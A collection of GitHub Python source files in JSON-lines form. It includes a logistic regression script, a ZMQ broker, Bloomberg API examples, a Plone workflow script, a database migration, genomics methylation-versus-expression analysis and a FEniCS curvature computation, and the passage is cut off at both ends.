np.mean(np.abs(Y_prediction_train - Y_train)) * 100), \"%\")\r\n    print(\"交叉验证集准确性：\", format(100 - np.mean(np.abs(Y_prediction_verify - Y_verify)) * 100), \"%\")\r\n    print(\"测试集准确性：\", format(100 - np.mean(np.abs(Y_prediction_test - Y_test)) * 100), \"%\")\r\n    correct = 1 - np.mean(np.abs(Y_prediction_verify - Y_verify))\r\n\r\n    d = {\r\n        \"costs\": costs,\r\n        \"Y_prediction_test\": Y_prediction_test,\r\n        \"Y_prediciton_train\": Y_prediction_train,\r\n        \"w\": w,\r\n        \"b\": b,\r\n        \"learning_rate\": learning_rate,\r\n        \"num_iterations\": num_iterations,\r\n         \"correct\":correct}\r\n    return d\r\nprint(\"====================测试model====================\")\r\n\r\nLambda =12\r\nd = model(train_set_x, train_set_y, test_set_x, test_set_y,verify_set_x,verify_set_y,learning_rate=0.007,\r\n                   Lambda=0.5, num_iterations = 20000,  print_cost = True)\r\n\r\n#绘制图\r\ncosts = np.squeeze(d['costs'])\r\nplt.plot(costs)\r\nplt.ylabel('cost')\r\nplt.xlabel('iterations (per thousands)')\r\nplt.title(\"Learning rate =\" + str(d[\"learning_rate\"])+\"\\nlambda =\"+str(Lambda))\r\nplt.show()\r\n","repo_name":"chengyingsong/aiia","sub_path":"逻辑回归.py","file_name":"逻辑回归.py","file_ext":"py","file_size_in_byte":10179,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"}
{"seq_id":"71411547564","text":"\"\"\"Manejo de excepciones\"\"\"\n\n\"\"\"Para controloar el error de división entre cero y el tipo de datos\"\"\"\n\ntry:\n    #val1 = 100/0\n    suma = 1000 + \"Hola Pythonistas!\"\nexcept ZeroDivisionError:\n    print(\"No es posible una división entre cero!!\")\nexcept TypeError:\n    print(\"No es posible sumar tipo de dato entero y tipo string\")","repo_name":"isabela1691/cerseu-g03","sub_path":"clase 12/12.5.py","file_name":"12.5.py","file_ext":"py","file_size_in_byte":329,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"}
{"seq_id":"16159884934","text":"## time input as String\r\n## hours\r\n## minutes\r\n## seconds\r\ntime = input('Enter time in 12 hour formate: ')\r\nhours = int(time[0:2])\r\nminutes = int(time[3:5])\r\nseconds = int(time[6:8])\r\nAM_PM = time[8:]\r\n\r\nif AM_PM == 'PM' and hours != 12:\r\n    hours+=12\r\nelif AM_PM == 'AM' and hours == 12:\r\n    hours = 0\r\n\r\n#     formate string\r\nprint('{:02}:{:02}:{:02}'.format(hours,minutes,seconds))\r\n\r\n\r\n\r\n\r\n","repo_name":"Alwaz/Algorithms","sub_path":"timeConversion.py","file_name":"timeConversion.py","file_ext":"py","file_size_in_byte":396,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"19"}
{"seq_id":"12821420084","text":"#!/usr/bin/env python2.7\n\nimport zmq\nimport time\nimport argparse\n\ndef main(pport, sport):\n        context = zmq.Context()\n        publisher = context.socket(zmq.PUB)\n        publisher.bind(\"tcp://*:%s\" % sport)\n\n        subscriber = context.socket(zmq.SUB)\n        subscriber.bind(\"tcp://*:%s\" % pport)\n        subscriber.setsockopt(zmq.SUBSCRIBE, \"\")\n\n        zmq.device(zmq.FORWARDER, subscriber, publisher)\n\n\nif __name__ == \"__main__\":\n    parser = argparse.ArgumentParser()\n    parser.add_argument(\"-p\", help=\"Broker publish socket\", required=True, type=int)\n    parser.add_argument(\"-s\", help=\"Broker subscribe socket\", required=True, type=int)\n    args = parser.parse_args()\n    print(\"Launched broker with publish port %d and subscriber port %d\" % (args.p, args.s))\n    main(args.p, args.s)\n","repo_name":"OpenOverlayRouter/blockchain-mapping-system","sub_path":"Consensus/examples/tcp-utils/broker.py","file_name":"broker.py","file_ext":"py","file_size_in_byte":798,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"19"}
{"seq_id":"34332693551","text":"\"\"\"\nAuthors: Daniel Dantas, Gustavo Amarante, Gustavo Soares, Wilson Felicio\nhttps://github.com/Finance-Hub/FinanceHub/blob/master/bloomberg/getbbgdata.py\n\nhttps://www.bloomberg.com/professional/support/api-library/\nPython -m pip install --index-url=https://bcms.bloomberg.com/pip/simple blpapi\n\n\"\"\"\n\nimport pandas as pd\nfrom src.letscode.Bloomberg.wrapperbloom import BBG # apenas a classe\n\nstart_date = '30-mar-2015'\nend_date = pd.to_datetime('today')\n\nbbg = BBG()\n\n# Grabs tickers and fields\ndf = bbg.fetch_series(securities=['BRL Curncy', 'DXY Index'],\n                      fields=['PX_LAST', 'VOLATILITY_90D'],\n                      startdate=start_date,\n                      enddate=end_date)\nprint(df)\n\n# Grabs cashflow payments of corporate bonds\ndf = bbg.fetch_cash_flow('EI1436001 Govt', pd.to_datetime('03-jul-2017'))\nprint(df)\n\n# Grabs weights of the components of an index\ndf = bbg.fetch_index_weights(index_name='IBOV Index', ref_date=pd.to_datetime('03-jul-2017'))\nprint(df)\nprint(df.sum())\n\n# Grabs all the contracts from a generic series\nfutures_list = bbg.fetch_futures_list(generic_ticker='TY1 Comdty')\nprint(futures_list)\n\n# grabs the first notice date for each contract\ndf_fn = bbg.fetch_contract_parameter(securities=futures_list, field='FUT_NOTICE_FIRST')\nprint(df_fn)\n\n# fetches fields with bulk data\ndf_bulk = bbg.fetch_bulk_data(index_name='AAPL US Equity', field='PG_REVENUE', ref_date=start_date)\nprint(df_bulk)\n\n# fetches historical dividends\ndf_div = bbg.fetch_dividends('AAPL US Equity', end_date)\n\n\n\n# Bloomberg data point\nbdp = BBG.fetch_contract_parameter('IBM US Equity', 'PX_LAST')\nbdp.head()\n\n# Bloomberg data history\ndados = BBG.fetch_series(\"IBOV INDEX\", [\"PX_LAST\", 'PX_OPEN'], \"2019-11-01\",\"2019-11-30\")\ndados.head()\n\n# Outro modo de plotar os dados, usando orientação ao objeto dados\ndados.plot()","repo_name":"thiagossiqueira/snipptes_letscode_training","sub_path":"src/letscode/Bloomberg/api.py","file_name":"api.py","file_ext":"py","file_size_in_byte":1842,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"}
{"seq_id":"43639932229","text":"from classes.FachadaSegurancaBDParent import FachadaSegurancaBDParent\n\nclass FachadaSegurancaBD(FachadaSegurancaBDParent):\n    def __init__(self, sBanco):\n        self.pConexao = FachadaSegurancaBDParent(sBanco=sBanco)\n\n    def alteraSenhaUsuario(self, oUsuario, sSenha, voTransacao, sBanco):\n        oUsuarioBD = self.inicializaUsuarioBD(sBanco)\n        bResultado = oUsuarioBD.alteraSenha(oUsuario,sSenha)\n        if bResultado and voTransacao != None and hasattr(voTransacao,'__iter__'):\n            for oTransacao in voTransacao:\n                 if oTransacao != None and isinstance(oTransacao, object):\n                     if not self.insereTransacao(oTransacao, sBanco):\n                         return False\n        if bResultado and voTransacao != None and not hasattr(voTransacao,'__iter__'):\n            if not self.insereTransacao(voTransacao, sBanco):\n                return False\n        return bResultado\n\n    def recuperaTipoTransacaoPorDescricaoCategoria(self, sDescricao, sTransacao, sBanco):\n        oTipoTransacaoBD = self.inicializaTipoTransacaoBD(sBanco)\n        oCategoriaTipoTransacaoBD = self.inicializaCategoriaTipoTransacaoBD(sBanco)\n        oFachadaSeguranca = FachadaSegurancaBD(sBanco)\n        vWhereCategoriaTipoTransacao = [\"descricao = '{}'\".format(sDescricao)]\n        voCategoriaTipoTransacao = oFachadaSeguranca.recuperaTodosCategoriaTipoTransacao(sBanco,vWhereCategoriaTipoTransacao)\n        if voCategoriaTipoTransacao != None and len(voCategoriaTipoTransacao) == 1:\n            oCategoriaTipoTransacao = voCategoriaTipoTransacao[0]\n            if isinstance(oCategoriaTipoTransacao, object):\n                vWhereTipoTransacao = [\"id_categoria_tipo_transacao = {}\".format(oCategoriaTipoTransacao.getId()),\n                                       \"transacao = '{}'\".format(sTransacao)]\n                sOrderTipoTransacao = \"\"\n                voTipoTransacao = oTipoTransacaoBD.recuperaTodos(vWhereTipoTransacao, sOrderTipoTransacao)\n                if len(voTipoTransacao) == 1:\n                    oTipoTransacao = voTipoTransacao[0]\n                    return oTipoTransacao.getId()\n        return False\n\n    def desativaPermissaoPorGrupoUsuario(self,nIdGrupoUsuario, sBanco):\n        oPermissaoBD = self.inicializaPermissaoBD(sBanco)\n        bResultado = oPermissaoBD.desativaPorGrupoUsuario(nIdGrupoUsuario)\n        return bResultado\n\n    def desativaPermissaoPorTipoTransacao(self,nIdTipoTransacao, sBanco):\n        oPermissaoBD = self.inicializaPermissaoBD(sBanco)\n        bResultado = oPermissaoBD.desativaPorTipoTransacao(nIdTipoTransacao)\n        return bResultado\n\n    def verificaPermissao(self,nIdTipoTransacao, vPermissao, sBanco):\n        oPermissaoBD = self.inicializaPermissaoBD(sBanco)\n        bResultado = False\n        if len(vPermissao) > 0:\n            for oPermissao in vPermissao:\n                if oPermissao.getIdTipoTransacao() == nIdTipoTransacao:\n                    bResultado = True\n            return bResultado\n        return False\n\n    def desativaTipoTransacaoPorCategoria(self,nIdCategoria,sBanco):\n        oTipoTransacaoBD = self.inicializaTipoTransacaoBD(sBanco)\n        bResultado = oTipoTransacaoBD.desativaPorCategoria(nIdCategoria)\n        return bResultado","repo_name":"davidkestering/novopainelpadrao_pythonsqlserver","sub_path":"classes/FachadaSegurancaBD.py","file_name":"FachadaSegurancaBD.py","file_ext":"py","file_size_in_byte":3239,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"}
{"seq_id":"34385987832","text":"from policyengine_us.model_api import *\n\n\nclass is_person_demographic_tanf_eligible(Variable):\n    value_type = bool\n    entity = Person\n    definition_period = YEAR\n    label = \"Person-level eligiblity for TANF based on age, pregnancy, etc.\"\n    documentation = \"Whether a person in a family applying for the Temporary Assistance for Needy Families program meets demographic requirements.\"\n\n    def formula(person, period, parameters):\n        child_0_17 = person(\"is_child\", period)\n        is_18 = person(\"age\", period) == 18\n        full_time_student = person(\"is_full_time_student\", period)\n        school_enrolled_18_year_old = full_time_student & is_18\n        pregnant = person(\"is_pregnant\", period)\n        return child_0_17 | school_enrolled_18_year_old | pregnant\n","repo_name":"emtfmmy/policyengine-us","sub_path":"policyengine_us/variables/gov/hhs/tanf/cash/eligibility/is_person_demographic_tanf_eligible.py","file_name":"is_person_demographic_tanf_eligible.py","file_ext":"py","file_size_in_byte":776,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"}
{"seq_id":"36531303257","text":"\"\"\"add_looker_ergo_and_looker_prox_roles\n\nRevision ID: c813aeef3940\nRevises: 7362f276939c\nCreate Date: 2021-01-13 16:03:30.128454\n\n\"\"\"\nfrom alembic import op\nimport sqlalchemy as sa\n\n\n# revision identifiers, used by Alembic.\nrevision = \"c813aeef3940\"\ndown_revision = \"7362f276939c\"\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade():\n    op.execute(\n        \"\"\"\n    INSERT INTO pipeline.casbin_rule\n        (ptype, v0, v1, v2)\n    VALUES\n        (\"p\", \"looker_ergo\", \"looker_ergo\", \"get\"),\n        (\"p\", \"looker_ergo\", \"looker_ergo\", \"post\"),\n        (\"p\", \"looker_ergo\", \"looker_ergo\", \"put\"),\n        (\"p\", \"looker_ergo\", \"looker_ergo\", \"delete\"),\n        (\"p\", \"looker_prox\", \"looker_prox\", \"get\"),\n        (\"p\", \"looker_prox\", \"looker_prox\", \"post\"),\n        (\"p\", \"looker_prox\", \"looker_prox\", \"put\"),\n        (\"p\", \"looker_prox\", \"looker_prox\", \"delete\");\n\n    \"\"\"\n    )\n\n\ndef downgrade():\n    op.execute(\n        \"\"\"\n    DELETE FROM pipeline.casbin_rule WHERE v0='looker_ergo' AND v1='looker_ergo';\n    DELETE FROM pipeline.casbin_rule WHERE v0='looker_prox' AND v1='looker_prox';\n    \n    \"\"\"\n    )\n","repo_name":"abhishek-vaidya54/test","sub_path":"pipeline/alembic/versions/c813aeef3940_add_looker_ergo_and_looker_prox_roles.py","file_name":"c813aeef3940_add_looker_ergo_and_looker_prox_roles.py","file_ext":"py","file_size_in_byte":1111,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"}
{"seq_id":"25940402036","text":"import sys\n\ninput = sys.stdin.readline\n\ngraph = [list(map(int, input().split())) for _ in range(19)]\ndirection = [(-1, -1), (-1, 0), (-1, 1), (0, -1)]\n\n\ndef valid(x, y, num):\n    global graph\n    return 0 <= x < 19 and 0 <= y < 19 and graph[x][y] == num\n\n\ndef check(x, y, dx, dy):\n    global graph\n    count = 1\n    num = graph[x][y]\n    while valid(x + dx, y + dy, num):\n        x += dx\n        y += dy\n        count += 1\n    return count\n\n\nfor x in range(19):\n    for y in range(19):\n        if graph[x][y] != 0:\n            for dx, dy in direction:\n                count = 1\n\n                if valid(x + dx, y + dy, graph[x][y]):\n                    count += check(x + dx, y + dy, dx, dy)\n\n                if valid(x - dx, y - dy, graph[x][y]):\n                    count += check(x - dx, y - dy, -dx, -dy)\n\n                if count == 5:\n                    if dy == 1:\n                        dx = -dx\n                        dy = -dy\n                    elif dy == 0 and dx == 1:\n                        dx = -dx\n                    num = graph[x][y]\n                    while valid(x + dx, y + dy, num):\n                        x += dx\n                        y += dy\n                    print(num)\n                    print(x + 1, y + 1)\n                    exit()\n\nprint(0)\n","repo_name":"hyunsik96/problem-solving","sub_path":"필수문항/117_오목.py","file_name":"117_오목.py","file_ext":"py","file_size_in_byte":1283,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"}
{"seq_id":"15548079396","text":"\r\nimport matplotlib.pyplot as plt\r\nimport math\r\nimport statistics\r\n# import matplotlib.pyplot as plt\r\nimport numpy as np\r\nfrom matplotlib import colors\r\n# from matplotlib.ticker import PercentFormatter\r\n\r\n# f=open('GSE79578_bulkRNAseq.txt')\r\n# new_f=open('GSE79578_bulkRNAseq_96h.bed','a')\r\n# # for line in f.readlines(3):\r\n# #     l=line.strip().split()\r\n# # #     for i,j in enumerate(l):\r\n# # #         print(i,j)\r\n# for line in f.readlines():\r\n#     L = line.strip().split()\r\n# #     # print(L[0],L[10])\r\n#     new_f.write(L[0]+'\\t'+L[10]+'\\n')\r\n\r\ndef adding_mathyalation_to_genes_peek_file():\r\n    genes_peek_file=open('genes_peeks_4d_RA_H3K36me3_Intersect.ChIP.peaks.CpG.bed_.bed')\r\n    new_peek_genes_file=open('genes_peeks_4d_RA_H3K36me3_Intersect.ChIP.peaks.CpG.bed','a')\r\n    methyl_file=open('new_4d_RA_H3K36me3Intersect.ChIP.peaks.CpG.bed')\r\n\r\n    # genes_peek_file = open('genes_peeks_4d_RA_H3K36me3_Intersect.WCE.ChIP.peaks.CpG.bed_.bed')\r\n    # new_peek_genes_file = open('genes_peeks_4d_RA_H3K36me3_Intersect.WCE.ChIP.peaks.CpG.bed', 'a')\r\n    # methyl_file = open('new_4d_RA_H3K36me3Intersect.WCE.ChIP.peaks.CpG.bed')\r\n\r\n    # genes_peek_file = open('genes_peeks_no_2i_2d_H3K36me3_Bismark_PE_Intersect.WCE.ChIP.peaks.CpG.bed_.bed')\r\n    # new_peek_genes_file = open('genes_peeks_no_2i_2d_H3K36me3_Bismark_PE_Intersect.WCE.ChIP.peaks.CpG.bed', 'a')\r\n    # methyl_file = open('new_no_2i_2d_H3K36me3_Bismark_PEIntersect.WCE.ChIP.peaks.CpG.bed')\r\n    #\r\n    # genes_peek_file = open('genes_peeks_no_2i_2d_H3K36me3_Bismark_PE_Intersect.ChIP.peaks.CpG.bed_.bed')\r\n    # new_peek_genes_file = open('genes_peeks_no_2i_2d_H3K36me3_Bismark_PE_Intersect.ChIP.peaks.CpG.bed', 'a')\r\n    # methyl_file = open('new_no_2i_2d_H3K36me3_Bismark_PEIntersect.ChIP.peaks.CpG.bed')\r\n\r\n\r\n    methyl_percent={}\r\n    peek_methyl_percent={}\r\n    peeks={}\r\n    for line in methyl_file:\r\n        L = line.strip().split()\r\n        peek=L[0]\r\n        methyl=L[1]\r\n        non_methyl=L[2]\r\n        reads=L[3]\r\n        percent=L[4]\r\n        methyl_percent[peek]=(peek,methyl,non_methyl,reads,percent)\r\n    for line_peek in genes_peek_file.readlines():\r\n        L_peek = line_peek.strip().split()\r\n        peek=L_peek[2]\r\n        peeks[peek]=(L_peek[0],L_peek[1],L_peek[2],L_peek[3],L_peek[4],L_peek[5])\r\n    # print(peeks)\r\n    for peek,i in peeks.items():\r\n\r\n        for peek_percent_m,j in methyl_percent.items():\r\n            if peek==peek_percent_m:\r\n                if peek not in peek_methyl_percent:\r\n                    peek_methyl_percent[peek]=(i[0],i[1],i[2],i[3],i[4],i[5],j[1],j[2],j[3],j[4])\r\n    for peek,v in peek_methyl_percent.items():\r\n        new_peek_genes_file.write(v[0]+'\\t'+v[1]+'\\t'+v[2]+'\\t'+v[3]+'\\t'+v[4]+'\\t'+v[5]+'\\t'+v[6]+'\\t'+v[7]+'\\t'+v[8]+'\\t'+v[9]+'\\n')\r\n    # print(peek_methyl_percent)\r\n# print(adding_mathyalation_to_genes_peek_file())\r\n\r\ndef met_vs_exp(): ###################################################\r\n    # methylation_file = open('genes_peeks_4d_RA_H3K36me3_Intersect.ChIP.peaks.CpG.bed')\r\n    # gene_exp_file = open('GSE79578_bulkRNAseq_96h.bed')\r\n    # methyl_vs_exp = open('genes_peeks_4d_RA_H3K36me3_Intersect.ChIP.peaks.CpG.metVSexp.bed', 'a')\r\n\r\n    methylation_file = open('genes_peeks_4d_RA_H3K36me3_Intersect.WCE.ChIP.peaks.CpG.bed')\r\n    gene_exp_file = open('GSE79578_bulkRNAseq_96h.bed')\r\n    methyl_vs_exp = open('genes_peeks_4d_RA_H3K36me3_Intersect.WCE.ChIP.peaks.CpG.metVSexp.bed', 'a')\r\n\r\n\r\n    met_dict = {}\r\n    exp_dict = {}\r\n    for line in methylation_file.readlines():\r\n        L = line.strip().split()\r\n        gene_name=L[1]\r\n        met=float(L[6])\r\n        non_met=float(L[7])\r\n        if gene_name not in met_dict:\r\n            met_dict[gene_name]=(met,non_met)\r\n        else:\r\n            methyl,non_methyl=met_dict[gene_name]\r\n            met_dict[gene_name]=(float(methyl+met),float(non_methyl+non_met))\r\n    for exp_line in gene_exp_file.readlines():\r\n        exp_L= exp_line.strip().split()\r\n        gene_name_exp=exp_L[0]\r\n        gene_exp=exp_L[1]\r\n        exp_dict[gene_name_exp]=gene_exp\r\n    for gene_name in met_dict:\r\n        me,non=met_dict[gene_name]\r\n        if gene_name in exp_dict.keys():\r\n            methyl_vs_exp.write(gene_name+'\\t'+exp_dict[gene_name]+'\\t'+str(me)+'\\t'+str(non)+'\\t'+(str(float(me)/(float(me+non))))+'\\n')\r\n# print(met_vs_exp())\r\n\r\ndef chip_nimus_wce():\r\n    chip_methyl_vs_exp_file = open('genes_peeks_4d_RA_H3K36me3_Intersect.ChIP.peaks.CpG.metVSexp.bed')\r\n    wce_methyl_vs_exp_file = open('genes_peeks_4d_RA_H3K36me3_Intersect.WCE.ChIP.peaks.CpG.metVSexp.bed')\r\n    files=[chip_methyl_vs_exp_file,wce_methyl_vs_exp_file]\r\n    chip_nimus_wce_file=open('genes_peeks_4d_RA_H3K36me3_Intersect.WCE.ChIP.peaks.CpG.metVSexp_delta.bed','a')\r\n    chip_nimus_wce_file.write(\r\n        'gene' + '\\t' + 'exp_wce' + '\\t' + 'met_wce' + '\\t' + 'non_met_wce' + '\\t' + 'met_percent_wce' + '\\t' +\r\n        'exp_chip' + '\\t' + 'met_chip' + '\\t' + 'non_met_chip' + '\\t' + 'met_percent_chip' + '\\t' +\r\n        'met_percent_chip - met_percent_wce' + '\\n')\r\n    chip_methyl_vs_exp_dict={}\r\n    wce_methyl_vs_exp_dict = {}\r\n    for file in files:\r\n        print(file.name)\r\n        dictionary={}\r\n        for line in file:\r\n            L=line.strip().split()\r\n            gene_name=L[0]\r\n            exp=L[1]\r\n            met=L[2]\r\n            non_met=L[3]\r\n            met_percent=L[4]\r\n            dictionary[gene_name]= (exp,met,non_met,met_percent)\r\n\r\n        if 'WCE' not in file.name:\r\n            print(dictionary)\r\n            chip_methyl_vs_exp_dict=dictionary\r\n            print(chip_methyl_vs_exp_dict)\r\n        elif 'WCE' in file.name:\r\n            wce_methyl_vs_exp_dict=dictionary\r\n    for gene in chip_methyl_vs_exp_dict:\r\n        if gene in wce_methyl_vs_exp_dict:\r\n            exp_wce,met_wce,non_met_wce,met_percent_wce=wce_methyl_vs_exp_dict[gene]\r\n            exp_chip,met_chip,non_met_chip,met_percent_chip=chip_methyl_vs_exp_dict[gene]\r\n            chip_nimus_wce_file.write(gene+'\\t'+exp_wce+'\\t'+met_wce+'\\t'+non_met_wce+'\\t'+met_percent_wce+'\\t'+\r\n                                      exp_chip+'\\t'+ met_chip+'\\t'+ non_met_chip+'\\t'+ met_percent_chip+'\\t'+\r\n                                      str(float(met_percent_chip)-float(met_percent_wce))+'\\n')\r\n\r\n# print(chip_nimus_wce())\r\ndef create_plots_expression_vs_methylation():\r\n    chip_methyl_vs_exp_file = open('genes_peeks_4d_RA_H3K36me3_Intersect.ChIP.peaks.CpG.metVSexp.bed')\r\n    wce_methyl_vs_exp_file = open('genes_peeks_4d_RA_H3K36me3_Intersect.WCE.ChIP.peaks.CpG.metVSexp.bed')\r\n    chip_minus_wce_file=open('genes_peeks_4d_RA_H3K36me3_Intersect.WCE.ChIP.peaks.CpG.metVSexp_delta.bed')\r\n    files=[chip_methyl_vs_exp_file,wce_methyl_vs_exp_file,chip_minus_wce_file]\r\n    for file in files:\r\n        exp_y=[]\r\n        met_x=[]\r\n        for line in file.readlines():\r\n            L=line.strip().split()\r\n            if len(L)>=7:\r\n                exp=math.log2(float(L[1])+1)\r\n                # exp=float(L[1])\r\n                exp_y.append(float(exp))\r\n                met_x.append(float(L[9]))\r\n            else:\r\n                exp = math.log2(float(L[1]) + 1)\r\n                # exp = float(L[1])\r\n                exp_y.append(float(exp))\r\n                met_x.append(float(L[4]))\r\n        #plt.hist(met_x,bins=5)\r\n        #plt.show()\r\n        plt.title(file.name)\r\n        plt.plot(met_x,exp_y, 'k.')\r\n        plt.show()\r\n\r\ncreate_plots_expression_vs_methylation()\r\n\r\n\r\n# print(create_plots(0,1,new_list))\r\n\r\n\r\n# file=open('genes_peeks_4d_RA_H3K36me3_Intersect.WCE.ChIP.peaks.CpG.metVSexp_delta.bed')\r\n# x=[]\r\n# for line in file.readlines():\r\n#     L=line.strip().split()\r\n#     x.append(L[9])\r\n# print(x)\r\n#\r\n# fig, axs = plt.subplots(1, 2,sharey=True, tight_layout=True)\r\n# axs[0].hist(x)\r\n# axs[1].hist(x, bins=20)\r\n# plt.show()","repo_name":"shimmybalsam/RamLabBioinformatics","sub_path":"exp_vs_met/methylation_vs_expression.py","file_name":"methylation_vs_expression.py","file_ext":"py","file_size_in_byte":7805,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"}
{"seq_id":"2078929197","text":"## Script (Python) \"notificaHome\"\n##bind container=container\n##bind context=context\n##bind namespace=\n##bind script=script\n##bind subpath=traverse_subpath\n##parameters=state_change_info\n##title=\n##\nmail_host = context.MailHost\nplone_utils = context.plone_utils\n\nmessage = \"\"\"E' stato sottoposto a revisione un nuovo contenuto destinato alla home-page.\n\nTitolo del documento: \"{title}\"\n\n{url}\"\"\".format({'title': context.title_or_id(), 'format': context.absolute_url()})\n\nmember = context.portal_membership.getAuthenticatedMember()\nmemail = member.getProperty('email')\n\nsubject = \"Notifica revisione contenuto\"\n\nencoding = plone_utils.getSiteEncoding()\n\nmail_host.send(message,\n               send_to_address,\n               memail,\n               subject=subject,\n               subtype='plain',\n               charset=encoding,\n               debug=False,\n               From=memail)\n","repo_name":"PloneGov-IT/cciaa.intranetworkflow","sub_path":"cciaa/intranetworkflow/profiles/default/workflows/camcom_public_workflow/scripts/notificaHome.py","file_name":"notificaHome.py","file_ext":"py","file_size_in_byte":885,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"}
{"seq_id":"29489006918","text":"from __future__ import division\nfrom dolfin import *\nimport numpy\nfrom petsc4py import PETSc\nimport sys,argparse\nfrom ufl import indices\nfrom scipy.special.orthogonal import p_roots\n\n# Use the same random numbers every time so that results are reproducible\nnumpy.random.seed(0)\n\n# Parse the command line arguments\ntotal = len(sys.argv)\ncmdargs = str(sys.argv)\nprint (\"The total numbers of args passed to the script: %d \" % total)\nprint (\"Args list: %s \" % cmdargs)\nprint (\"Script name: %s\" % str(sys.argv[0]))\n\nparser = argparse.ArgumentParser()\nparser.add_argument('-r', '--num_refinements', default=3, type=int) # mesh refinement level\nparser.add_argument('-o', '--order', default=0, type=int) # order of Regge finite elements\nparser.add_argument('-v', '--orderV', default=1, type=int) # order of Lagrange finite elements\nparser.add_argument('-w', '--orderW', default=1, type=int) # order of Nedelec finite elements\nparser.add_argument('-c', '--convergence_test', default=0, type=int) # set equal to 1 to just compute the L2 error and quit\nargs = parser.parse_args()\nnum_refinements = args.num_refinements\norder = args.order\norderV = args.orderV\norderW = args.orderW\nconvergence_test = args.convergence_test\n\n# Create mesh\nnx = 2**(num_refinements)\nny = nx\nmesh = RectangleMesh(Point(-1.0, -1.0), Point(1.0, 1.0), nx, ny, \"left\")\ndeltax = 2.0 / nx\ndeltay = 2.0 / ny\n\n# Define Dirichlet boundary (x = -1 or x = 1 or y = -1 or y = 1) \ndef boundary(x):\n    return x[0] < -1.0 + DOLFIN_EPS or x[0] > 1.0 - DOLFIN_EPS or x[1] < -1.0 + DOLFIN_EPS or x[1] > 1.0 - DOLFIN_EPS\n\n# Perturb vertices so we don't get fooled by superconvergence phenomena\nx = mesh.coordinates()[:,0]\ny = mesh.coordinates()[:,1]\nxtilde = x.copy()\nytilde = y.copy()\nfor i in range(len(x)):\n    if not boundary(mesh.coordinates()[i,:]):\n        xtilde[i] += 0.2*deltax*(2*numpy.random.rand()-1)\n        ytilde[i] += 0.2*deltay*(2*numpy.random.rand()-1)\nxytilde = numpy.array([xtilde, ytilde]).transpose()\n#mesh.coordinates()[:] = xytilde\n\n# Define finite element spaces\nSigma = FunctionSpace(mesh, \"Regge\", order)\nV = FunctionSpace(mesh, \"CG\", orderV)\nW = FunctionSpace(mesh, \"N1curl\", orderW)\n\n# Quadrature degree\nparameters[\"form_compiler\"][\"quadrature_degree\"] = 12\n\n# Define boundary condition\nbcV = DirichletBC(V, Constant(0.0), boundary)\nbcW = DirichletBC(W, Constant((0.0,0.0)), boundary)\n\n# Define trial functions, test functions, and data\nkappa = TrialFunction(V)\nconnection = TrialFunction(W)\nv = TestFunction(V)\nalpha = TestFunction(W)\ndelta = Constant(((1.0,0.0),(0.0,1.0)))\n#fx = Expression(\" 1.0*(x[0]-1.0/3.0*x[0]*x[0]*x[0])\", degree=3)\n#fy = Expression(\" 1.0*(x[1]-1.0/3.0*x[1]*x[1]*x[1])\", degree=3)\n#kappaexact = Expression(\"81*(1-x[0]*x[0])*(1-x[1]*x[1]) / pow(9 + x[0]*x[0]*pow(x[0]*x[0]-3,2) + x[1]*x[1]*pow(x[1]*x[1]-3,2),2)\", degree=12)\n#gexact = Expression( ( (\"1.0+fx*fx\", \"fx*fy\"), (\"fx*fy\", \"1.0+fy*fy\") ), fx=fx, fy=fy, degree = 6, domain=mesh)\n#fx = Expression(\" 1.0*(x[0]-1.0/3.0*x[0]*x[0]*x[0])\", degree=12)\n#fy = Expression(\" 1.0*(x[1]-1.0/3.0*x[1]*x[1]*x[1])\", degree=12)\n#kappaexact = Expression(\"81*(1-x[0]*x[0])*(1-x[1]*x[1]) / pow(9 + x[0]*x[0]*pow(x[0]*x[0]-3,2) + x[1]*x[1]*pow(x[1]*x[1]-3,2),2)\", degree=12)\n#gexact = Expression( ( (\"1.0+fx*fx\", \"fx*fy\"), (\"fx*fy\", \"1.0+fy*fy\") ), fx=fx, fy=fy, degree = 12, domain=mesh) \nfx = Expression(\"-0.5*pi*sin(0.5*pi*x[0])\", degree=12)\nfy = Expression(\"-0.5*pi*sin(0.5*pi*x[1])\", degree=12)\nkappaexact = Expression(\"4*pow(pi,4)*cos(0.5*pi*x[0])*cos(0.5*pi*x[1]) / pow(-2*(4+pi*pi) + pi*pi*(cos(pi*x[0])+cos(pi*x[1])),2)\", degree=12)\ngexact = Expression( ( (\"1.0+fx*fx\", \"fx*fy\"), (\"fx*fy\", \"1.0+fy*fy\") ), fx=fx, fy=fy, degree=12, domain=mesh)\ng = interpolate(gexact,Sigma)\n#g = project(gexact,Sigma)\n#g = gexact\nsigma = g-delta\n\n# Print the interpolation error for g\nprint(\"L2norm(g - gexact) = \", errornorm(gexact,g,degree_rise=6))\n\n# Normal and tangent vectors\nn = FacetNormal(mesh)\nrotmat = as_matrix( [[0,1],[-1,0]] )\ntau = -rotmat*n\n\n# Christoffel symbols of the second kind associated with a metric g\ndef christoffel(g):\n    i,j,k,l = indices(4)\n    gamma = as_tensor(0.5 * inv(g)[k,l] * ( g[l,i].dx(j) + g[l,j].dx(i) - g[i,j].dx(l) ), (k,i,j))\n    return gamma\n\n# Riemannian Hessian of a scalar field v\ndef hess(v,gamma):\n    i,j,k = indices(3)\n    hessv = as_tensor(v.dx(i).dx(j) - gamma[k,i,j]*v.dx(k), (i,j))\n    #hessv = gradoneform(grad(v),gamma) # equivalent\n    return hessv\n\n# Covariant derivative of a one-form alpha\ndef gradoneform(alpha,gamma):\n    i,j,k = indices(3)\n    gradalpha = as_tensor(alpha[i].dx(j) - gamma[k,i,j]*alpha[k], (i,j))\n    return gradalpha\n\n# Gaussian curvature of g\ndef curvature(g):\n    i,j,k,l = indices(4)\n    gamma = 